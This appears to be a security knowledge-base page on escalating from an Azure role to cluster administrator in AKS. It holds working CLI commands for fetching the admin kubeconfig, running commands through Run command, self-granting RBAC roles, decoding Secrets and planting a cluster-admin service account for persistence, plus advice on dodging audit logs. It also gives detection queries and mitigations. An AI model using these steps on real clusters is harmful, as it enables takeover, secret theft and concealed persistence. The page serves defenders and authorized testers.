How it works
An AKS cluster has two authorization systems stacked on each other, and the attack lives in the seams between them.
- Azure Resource Manager manages the cluster as an Azure resource: creating it, changing its settings, handing out kubeconfig files and running commands on it. Azure role-based access control decides these operations.
- The Kubernetes API server manages what runs in the cluster: pods, Secrets, role bindings. It authenticates a subject (a user, a group, a service account) and authorizes each request, either with Kubernetes RBAC objects stored in the cluster or with Azure RBAC for Kubernetes authorization, or both.
Reaching the API server over the network proves nothing; authentication names a subject and authorization evaluates one request. A Microsoft Entra sign-in for the cluster identifies an authentication event, not a Kubernetes verb or namespace. But several Azure-side operations carry Kubernetes-side power, and that is where an Azure role becomes cluster control:
- Local admin credential. Local accounts are enabled by default.
Microsoft.ContainerService/managedClusters/listClusterAdminCredential/actionreturns a kubeconfig with a client certificate that is cluster administrator and bypasses Microsoft Entra ID. The Azure Kubernetes Service Cluster Admin Role allows the action, and Azure Kubernetes Service Contributor Role, Contributor and Owner include it. Once downloaded, the certificate does not depend on the Azure identity that fetched it. - User credential on a cluster without Entra integration.
listClusterUserCredential/actionreturns the clusterUser kubeconfig. On a cluster that uses Microsoft Entra ID it is empty and prompts a sign-in. On a cluster that does not, Microsoft states it has the same effect as clusterAdmin. - Run command.
az aks command invokerunskubectlorhelmin a pod that AKS creates in the cluster, through the Azure API. It needsMicrosoft.ContainerService/managedClusters/runCommand/actionandcommandResults/read, and it works on private clusters whose API server is not reachable from outside. - Azure RBAC for Kubernetes. On clusters that use it, an identity with
Microsoft.Authorization/roleAssignments/writeover the cluster can assign itself Azure Kubernetes Service RBAC Cluster Admin. This is role assignment abuse with a Kubernetes target. - Trusted Access role bindings. An Azure resource on the cluster that lets another Azure resource's managed identity call the API server. It is not a Kubernetes object and does not show up in a review of bindings inside the cluster.
Inside the cluster, the same escalation exists in native form. A subject that can create a ClusterRoleBinding can bind cluster-admin to any user, group or service account, and a service account token is a credential that needs no human sign-in. A RoleBinding can reference a ClusterRole while limiting it to one namespace, so the binding's kind and namespace matter as much as the role's name.
Prerequisites
One of:
- An Azure role on the cluster, or a scope above it, that includes
listClusterAdminCredential/action(with local accounts enabled),listClusterUserCredential/action(on a cluster without Entra integration), orrunCommand/action(with Run command not disabled). Microsoft.Authorization/roleAssignments/writeover a cluster that uses Azure RBAC for Kubernetes authorization.Microsoft.ContainerService/managedClusters/write, to re-enable local accounts or change the cluster's Entra admin groups.- A Kubernetes subject that can create or change role bindings, or read Secrets in a namespace that holds service account tokens.
For everything except Run command, the attacker also needs network access to the API server: a public endpoint, an allowed address range, or a position inside the virtual network of a private cluster.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
The steps below are for an authorized assessment or a lab.
1. Find clusters and read their identity settings
az aks list --query "[].{name:name, rg:resourceGroup, localAccountsDisabled:disableLocalAccounts, aad:aadProfile, api:apiServerAccessProfile}"
aadProfile shows whether the cluster uses Microsoft Entra ID and Azure RBAC for Kubernetes authorization, and apiServerAccessProfile shows whether it is private and whether Run command is disabled. A cluster with local accounts enabled and a caller that holds Contributor is the shortest path.
2. Download the local admin kubeconfig
az aks get-credentials --resource-group rg-prod --name aks-prod --admin
kubectl config view
kubectl auth can-i --list
On a cluster with local accounts disabled, the first command fails with a message that getting the static credential is not allowed. A role with write access to the cluster can turn them back on:
az aks update --resource-group rg-prod --name aks-prod --enable-local-accounts
3. Variant: Run command on a private cluster
az aks command invoke --resource-group rg-prod --name aks-prod \
--command "kubectl get secrets --all-namespaces"
az aks command invoke --resource-group rg-prod --name aks-prod \
--command "kubectl create clusterrolebinding ops-admin-binding --clusterrole=cluster-admin --user=alice@corp.example.com"
No network path to the API server is needed. The command runs in a pod inside the cluster and the output comes back through Azure.
4. Variant: self-grant with Azure RBAC for Kubernetes
AKS_ID=$(az aks show --resource-group rg-prod --name aks-prod --query id -o tsv)
az role assignment create --role "Azure Kubernetes Service RBAC Cluster Admin" \
--assignee "alice@corp.example.com" --scope $AKS_ID
# Non-admin kubeconfig: sign-in goes through Microsoft Entra ID
az aks get-credentials --resource-group rg-prod --name aks-prod
kubectl get nodes
The same roles can be scoped to one namespace by appending /namespaces/<namespace> to the scope.
5. Take what the cluster holds
# Every Secret, including registry credentials and application secrets
kubectl get secrets --all-namespaces
# One Secret, decoded
kubectl get secret db-credentials -n payments -o jsonpath='{.data.password}' | base64 -d
# What the current subject may do in a namespace
kubectl auth can-i --list --namespace=payments
A pod started in the cluster can reach the instance metadata service of its node and request tokens as the node's managed identity. That is the bridge from the cluster back into Azure; see managed identity abuse.
6. Keep access with a Kubernetes grant
Bind cluster-admin to a service account and mint a token for it:
kubectl create serviceaccount metrics-agent -n kube-system
kubectl create clusterrolebinding metrics-agent-binding \
--clusterrole=cluster-admin --serviceaccount=kube-system:metrics-agent
kubectl create token metrics-agent -n kube-system
The service account authenticates as a cluster identity. It appears in the cluster's audit log without any Microsoft Entra sign-in, and it survives the removal of the attacker's Azure role.
Impact
Cluster administrator access means every Kubernetes Secret, the ability to run any container on any node, and control of every workload's configuration and traffic. Secrets in a cluster usually include database passwords, registry credentials and API keys for systems outside it.
The cluster is also a stepping stone. Node and workload identities have Azure role assignments of their own, such as pulling from a container registry, reading a key vault or managing network resources, so lateral movement from the cluster into the subscription is often one token request away. And the local admin certificate, once copied, stays valid after the Azure account that fetched it is disabled: this is privilege escalation that detaches itself from the identity system.
OPSEC and artifacts
- Using the local admin certificate. Requests made with it carry a shared certificate subject, not a person. The cluster's audit log shows what was done but can't say which holder of the kubeconfig did it. What remains on the Azure side is one
listClusterAdminCredential/actionrecord in the Activity Log, with the caller and address of whoever downloaded the file. Every later use is invisible to Azure Resource Manager. - Using Run command instead of a direct connection. Each invocation writes a
runCommand/actionrecord with the caller, but Microsoft does not document the command text as part of it. Inside the cluster, AKS creates a pod namedcommand-<ID>in theaks-commandnamespace, and the API requests that pod makes are in the audit log. - Working where audit collection is thin. The
kube-auditcategory must be routed by a diagnostic setting. Many clusters collect onlykube-audit-admin, which leaves out get and list requests, so reading Secrets leaves no record there while creating a binding does. Operators who only read prefer such clusters. - Granting through Kubernetes, not Azure. A ClusterRoleBinding created with kubectl never passes through Azure Resource Manager. It is a write in the cluster's audit log and an object that stays in the cluster until deleted. Operators give it a name that fits the surrounding system objects.
- Granting through Azure, not Kubernetes. A role assignment for an Azure Kubernetes Service RBAC role, or a Trusted Access role binding, is visible in the Activity Log but not among the binding objects inside the cluster.
- Impersonation. When a request uses Kubernetes impersonation, the audit record holds both the authenticated user and the impersonated one. Reviews that read only one of them attribute the action to the wrong subject.
- Re-enabling local accounts. Turning the setting back on is a write on the managed cluster resource, recorded in the Activity Log. Disabling local accounts later does not cancel certificates already issued; only rotating the cluster certificates does.
Detection
- Cluster credentials listed. The AKS cluster credentials listed rules alert on the listClusterAdminCredential and listClusterUserCredential records. On a cluster that should use Entra sign-in only, any admin credential listing is a lead.
- Run command used. The AKS Run command rules cover the runCommand/action record. Pair each with the
command-pod's requests in the cluster audit log to learn what ran. - Azure-side grants. Privileged Azure role assignment rules on the roleAssignments/write record for the AKS RBAC roles at cluster scope, and the Trusted Access role binding created rules on trustedAccessRoleBindings/write.
- Kubernetes-side grants. Creation or change of ClusterRoleBinding, RoleBinding, ClusterRole and Role objects in the audit log, especially any binding to
cluster-admin. - Grant followed by use. A new binding or assignment, then API activity by its subject. Match the scope and time before linking the two.
- Local account settings changed. A cluster write that sets
disableLocalAccountsto false.
// Changes to RBAC objects in the cluster, with who made them and the result
AKSAudit
| where Stage == "ResponseComplete"
| where tostring(ObjectRef.resource) in ("clusterrolebindings", "rolebindings", "clusterroles", "roles")
| where Verb in ("create", "update", "patch", "delete")
| project TimeGenerated, User = tostring(User.username), Groups = tostring(User.groups), Verb,
Resource = tostring(ObjectRef.resource), Name = tostring(ObjectRef.name),
Namespace = tostring(ObjectRef.namespace), Code = toint(ResponseStatus.code), SourceIps
| order by TimeGenerated asc
A response code of 200 or 201 shows the subject could make that change at that time; a 403 records a refusal. Neither says which grant supplied the permission, so read the bindings and Azure role assignments in force at that moment before concluding how the subject got there.
Mitigation
Disable local accounts on clusters that use Microsoft Entra ID, so that the admin kubeconfig request fails and all access is tied to an identity:
az aks update --resource-group rg-prod --name aks-prod --disable-local-accountsRotate cluster certificates after disabling them. Certificates handed out earlier stay valid until rotation. Plan it with the platform owner, because rotation disrupts clients:
az aks rotate-certs --resource-group rg-prod --name aks-prodLimit the Azure roles above the cluster. Contributor and Owner on the resource group or subscription include credential listing, Run command, cluster write and Trusted Access binding write. Give operators the narrower Azure Kubernetes Service Cluster User Role and Kubernetes permissions through groups, following least privilege.
Disable Run command where it is not needed, by setting
apiServerAccessProfile.disableRunCommandon the cluster.Use namespace-scoped grants for routine work. Keep
cluster-adminand Azure Kubernetes Service RBAC Cluster Admin for a small, reviewed group, with Privileged Identity Management on the Azure side.Review both sets of grants. Kubernetes bindings inside the cluster, and Azure role assignments, Trusted Access role bindings and Entra admin groups outside it.
Restrict the API server network path with a private cluster or authorized IP ranges, so a copied kubeconfig is not usable from the internet.
Collect the full audit log. Route
kube-audit, not onlykube-audit-admin, to a workspace outside the cluster administrators' ordinary control, together with the Activity Log.Scope node and workload identities tightly, and prefer Microsoft Entra Workload ID for pods, so that a compromised cluster does not hand out broad Azure roles through the node's identity.
Detection rules for this attack
Log events to collect
FAQ
What is the AKS local admin account?
It is a built-in cluster administrator credential, a client certificate, that every AKS cluster has unless local accounts are disabled. az aks get-credentials --admin downloads it. Microsoft describes it as a non-auditable backdoor option that still exists when Microsoft Entra integration is enabled, because it bypasses Entra ID entirely.
Does Microsoft Entra integration stop an Azure Contributor from becoming cluster admin?
Not by itself. A role that can list the cluster admin credential gets the certificate-based kubeconfig regardless of Entra integration. Only disabling local accounts makes that request fail, and a role with write access to the cluster can re-enable them, so both the setting and the roles above it need control.
What is the difference between Kubernetes RBAC and Azure RBAC for Kubernetes authorization?
Kubernetes RBAC stores Role, ClusterRole and binding objects inside the cluster. Azure RBAC for Kubernetes authorization lets Azure role assignments with Kubernetes data actions, such as Azure Kubernetes Service RBAC Cluster Admin, decide requests by Microsoft Entra identities. Both can be active, and Kubernetes RBAC still applies to service accounts.
Which logs show what was done inside an AKS cluster?
Only the cluster's own audit logs. The Azure Activity Log shows that a kubeconfig was listed or Run command was used and by whom. Requests to the Kubernetes API server appear in the kube-audit resource log category when a diagnostic setting collects it. The smaller kube-audit-admin category leaves out get and list requests.
References
- Account Manipulation: Additional Container Cluster Roles, T1098.006 (MITRE ATT&CK)
- Cluster authentication concepts in Azure Kubernetes Service (Microsoft Learn)
- Manage local accounts with Microsoft Entra integration (Microsoft Learn)
- Use Azure RBAC to define access to the Kubernetes configuration file in AKS (Microsoft Learn)
- Use Azure RBAC for Kubernetes authorization (Microsoft Learn)
- Access a private AKS cluster with command invoke (Microsoft Learn)
- Using RBAC Authorization (Kubernetes documentation)
- AKSAudit table reference (Azure Monitor)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.